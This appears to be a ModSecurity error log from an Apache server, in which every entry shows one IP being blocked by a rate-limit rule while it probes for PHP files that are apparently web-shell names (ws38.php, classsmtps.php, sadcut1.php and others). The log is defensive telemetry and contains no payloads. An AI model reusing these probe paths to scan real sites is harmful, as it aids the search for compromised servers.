[Sat May 23 20:54:04.093837 2026] [:error] [pid 25876:tid 25901] [client 4.213.99.137:2007] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/leaf.php"] [unique_id "ahGjbASpWUCKPezIBJCucAAAARc"]
[Sat May 23 20:54:04.427497 2026] [:error] [pid 30940:tid 30970] [client 4.213.99.137:2010] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/leaf.php"] [unique_id "ahGjbJqUP2XZmzp7RDoNPgAAABU"]
[Sat May 23 20:54:04.754303 2026] [:error] [pid 25876:tid 25887] [client 4.213.99.137:1365] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "ahGjbASpWUCKPezIBJCucgAAAQk"]
[Sat May 23 20:54:05.090920 2026] [:error] [pid 25876:tid 25891] [client 4.213.99.137:1797] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "ahGjbQSpWUCKPezIBJCudAAAAQ0"]
[Sat May 23 20:54:05.452860 2026] [:error] [pid 25876:tid 25893] [client 4.213.99.137:1227] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "ahGjbQSpWUCKPezIBJCudgAAAQ8"]
[Sat May 23 20:54:05.785492 2026] [:error] [pid 25876:tid 25884] [client 4.213.99.137:1387] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "ahGjbQSpWUCKPezIBJCueAAAAQY"]
[Sat May 23 20:54:06.239884 2026] [:error] [pid 44296:tid 44309] [client 4.213.99.137:2034] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "ahGjbpdrUdFI6ijvMkmM_AAAAUs"]
[Sat May 23 20:54:06.556134 2026] [:error] [pid 30940:tid 30950] [client 4.213.99.137:1674] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "ahGjbpqUP2XZmzp7RDoNQQAAAAE"]
[Sat May 23 20:54:06.863513 2026] [:error] [pid 31039:tid 31048] [client 4.213.99.137:1160] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "ahGjbqIYDYo8WvA5zLJGqwAAAMc"]
[Sat May 23 20:54:07.225785 2026] [:error] [pid 31039:tid 31057] [client 4.213.99.137:1384] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "ahGjb6IYDYo8WvA5zLJGrAAAANA"]
[Sat May 23 20:54:07.547553 2026] [:error] [pid 30942:tid 31007] [client 4.213.99.137:1795] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "ahGjb9Uosz64YFiBlG12EgAAAIQ"]
[Sat May 23 20:54:07.883969 2026] [:error] [pid 31039:tid 31052] [client 4.213.99.137:1990] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "ahGjb6IYDYo8WvA5zLJGrQAAAMs"]
[Sat May 23 20:54:08.177564 2026] [:error] [pid 30942:tid 31005] [client 4.213.99.137:1223] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "ahGjcNUosz64YFiBlG12EwAAAII"]
[Sat May 23 20:54:08.526897 2026] [:error] [pid 31039:tid 31047] [client 4.213.99.137:2041] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "ahGjcKIYDYo8WvA5zLJGswAAAMY"]
[Sat May 23 20:54:08.954688 2026] [:error] [pid 31039:tid 31051] [client 4.213.99.137:1997] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws38.php"] [unique_id "ahGjcKIYDYo8WvA5zLJGtQAAAMo"]
[Sat May 23 20:54:09.226840 2026] [:error] [pid 30940:tid 30971] [client 4.213.99.137:2017] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws38.php"] [unique_id "ahGjcZqUP2XZmzp7RDoNQwAAABY"]
[Sat May 23 20:54:09.514157 2026] [:error] [pid 44325:tid 44334] [client 4.213.99.137:1208] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws38.php"] [unique_id "ahGjcVgUQb4puB_2yV8mMgAAAYY"]
[Sat May 23 20:54:09.805135 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:1161] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws38.php"] [unique_id "ahGjcXTIgjSDhiZmvlXwPQAAAE8"]
[Sat May 23 20:54:10.107918 2026] [:error] [pid 30941:tid 30999] [client 4.213.99.137:1992] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classsmtps.php"] [unique_id "ahGjcnTIgjSDhiZmvlXwPwAAAFc"]
[Sat May 23 20:54:10.398507 2026] [:error] [pid 44325:tid 44338] [client 4.213.99.137:1162] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classsmtps.php"] [unique_id "ahGjclgUQb4puB_2yV8mNgAAAYo"]
[Sat May 23 20:54:10.680823 2026] [:error] [pid 44325:tid 44333] [client 4.213.99.137:2025] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classsmtps.php"] [unique_id "ahGjclgUQb4puB_2yV8mNwAAAYU"]
[Sat May 23 20:54:11.133035 2026] [:error] [pid 44325:tid 44350] [client 4.213.99.137:1369] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classsmtps.php"] [unique_id "ahGjc1gUQb4puB_2yV8mOQAAAZY"]
[Sat May 23 20:54:11.422645 2026] [:error] [pid 44296:tid 44315] [client 4.213.99.137:1163] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "ahGjc5drUdFI6ijvMkmM_QAAAVE"]
[Sat May 23 20:54:11.729893 2026] [:error] [pid 44296:tid 44299] [client 4.213.99.137:2036] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "ahGjc5drUdFI6ijvMkmM_gAAAUE"]
[Sat May 23 20:54:12.078408 2026] [:error] [pid 44325:tid 44351] [client 4.213.99.137:1497] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "ahGjdFgUQb4puB_2yV8mOgAAAZc"]
[Sat May 23 20:54:12.366591 2026] [:error] [pid 31039:tid 31063] [client 4.213.99.137:2023] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "ahGjdKIYDYo8WvA5zLJGuAAAANY"]
[Sat May 23 20:54:12.687806 2026] [:error] [pid 30942:tid 31010] [client 4.213.99.137:1600] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "ahGjdNUosz64YFiBlG12FwAAAIc"]
[Sat May 23 20:54:13.056390 2026] [:error] [pid 30942:tid 31006] [client 4.213.99.137:1175] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "ahGjddUosz64YFiBlG12GQAAAIM"]
[Sat May 23 20:54:13.346860 2026] [:error] [pid 31039:tid 31058] [client 4.213.99.137:1379] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "ahGjdaIYDYo8WvA5zLJGuQAAANE"]
[Sat May 23 20:54:13.687807 2026] [:error] [pid 30942:tid 31025] [client 4.213.99.137:1843] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "ahGjddUosz64YFiBlG12GgAAAJY"]
[Sat May 23 20:54:14.005178 2026] [:error] [pid 30942:tid 31020] [client 4.213.99.137:1212] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/y.php"] [unique_id "ahGjdtUosz64YFiBlG12HwAAAJE"]
[Sat May 23 20:54:14.297848 2026] [:error] [pid 30942:tid 31016] [client 4.213.99.137:2035] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/y.php"] [unique_id "ahGjdtUosz64YFiBlG12IAAAAI0"]
[Sat May 23 20:54:14.661287 2026] [:error] [pid 31039:tid 31057] [client 4.213.99.137:1195] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/y.php"] [unique_id "ahGjdqIYDYo8WvA5zLJGvAAAANA"]
[Sat May 23 20:54:15.100095 2026] [:error] [pid 30941:tid 30992] [client 4.213.99.137:1987] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/y.php"] [unique_id "ahGjd3TIgjSDhiZmvlXwQwAAAFA"]
[Sat May 23 20:54:15.415865 2026] [:error] [pid 30941:tid 30996] [client 4.213.99.137:2000] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "ahGjd3TIgjSDhiZmvlXwRgAAAFQ"]
[Sat May 23 20:54:15.741693 2026] [:error] [pid 31039:tid 31047] [client 4.213.99.137:1261] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "ahGjd6IYDYo8WvA5zLJGvQAAAMY"]
[Sat May 23 20:54:16.020599 2026] [:error] [pid 31039:tid 31043] [client 4.213.99.137:1193] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "ahGjeKIYDYo8WvA5zLJGvwAAAMI"]
[Sat May 23 20:54:16.446107 2026] [:error] [pid 30941:tid 30994] [client 4.213.99.137:1152] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "ahGjeHTIgjSDhiZmvlXwSgAAAFI"]
[Sat May 23 20:54:16.716582 2026] [:error] [pid 31039:tid 31053] [client 4.213.99.137:2031] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "ahGjeKIYDYo8WvA5zLJGwAAAAMw"]
[Sat May 23 20:54:16.997585 2026] [:error] [pid 25876:tid 25900] [client 4.213.99.137:1206] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "ahGjeASpWUCKPezIBJCugQAAARY"]
[Sat May 23 20:54:17.267335 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:1445] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "ahGjeXTIgjSDhiZmvlXwTQAAAE8"]
[Sat May 23 20:54:17.544428 2026] [:error] [pid 31039:tid 31054] [client 4.213.99.137:1628] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "ahGjeaIYDYo8WvA5zLJGwgAAAM0"]
[Sat May 23 20:54:17.835352 2026] [:error] [pid 30941:tid 30986] [client 4.213.99.137:2040] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "ahGjeXTIgjSDhiZmvlXwTgAAAEo"]
[Sat May 23 20:54:18.136089 2026] [:error] [pid 44296:tid 44318] [client 4.213.99.137:1590] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "ahGjepdrUdFI6ijvMkmNBAAAAVQ"]
[Sat May 23 20:54:18.408855 2026] [:error] [pid 44296:tid 44312] [client 4.213.99.137:1191] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "ahGjepdrUdFI6ijvMkmNBQAAAU4"]
[Sat May 23 20:54:18.814151 2026] [:error] [pid 44326:tid 44368] [client 4.213.99.137:2002] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "ahGjesyrPrcAqE-FOKKhHAAAAc0"]
[Sat May 23 20:54:19.096181 2026] [:error] [pid 30941:tid 30996] [client 4.213.99.137:1348] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "ahGje3TIgjSDhiZmvlXwUwAAAFQ"]
[Sat May 23 20:54:19.537707 2026] [:error] [pid 30941:tid 30997] [client 4.213.99.137:1153] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "ahGje3TIgjSDhiZmvlXwVAAAAFU"]
[Sat May 23 20:54:19.808619 2026] [:error] [pid 44326:tid 44357] [client 4.213.99.137:1813] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "ahGje8yrPrcAqE-FOKKhHwAAAcI"]
[Sat May 23 20:54:20.190175 2026] [:error] [pid 44325:tid 44330] [client 4.213.99.137:1233] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "ahGjfFgUQb4puB_2yV8mPAAAAYI"]
[Sat May 23 20:54:20.681348 2026] [:error] [pid 44325:tid 44338] [client 4.213.99.137:1138] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/default.php"] [unique_id "ahGjfFgUQb4puB_2yV8mQAAAAYo"]
[Sat May 23 20:54:21.082796 2026] [:error] [pid 44325:tid 44341] [client 4.213.99.137:2024] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/default.php"] [unique_id "ahGjfVgUQb4puB_2yV8mQwAAAY0"]
[Sat May 23 20:54:21.352728 2026] [:error] [pid 30941:tid 30998] [client 4.213.99.137:1419] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/default.php"] [unique_id "ahGjfXTIgjSDhiZmvlXwWwAAAFY"]
[Sat May 23 20:54:21.684467 2026] [:error] [pid 31039:tid 31056] [client 4.213.99.137:1182] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/default.php"] [unique_id "ahGjfaIYDYo8WvA5zLJGxgAAAM8"]
[Sat May 23 20:54:22.053185 2026] [:error] [pid 31039:tid 31052] [client 4.213.99.137:1180] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "ahGjfqIYDYo8WvA5zLJGyAAAAMs"]
[Sat May 23 20:54:22.390849 2026] [:error] [pid 31039:tid 31043] [client 4.213.99.137:1171] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "ahGjfqIYDYo8WvA5zLJGygAAAMI"]
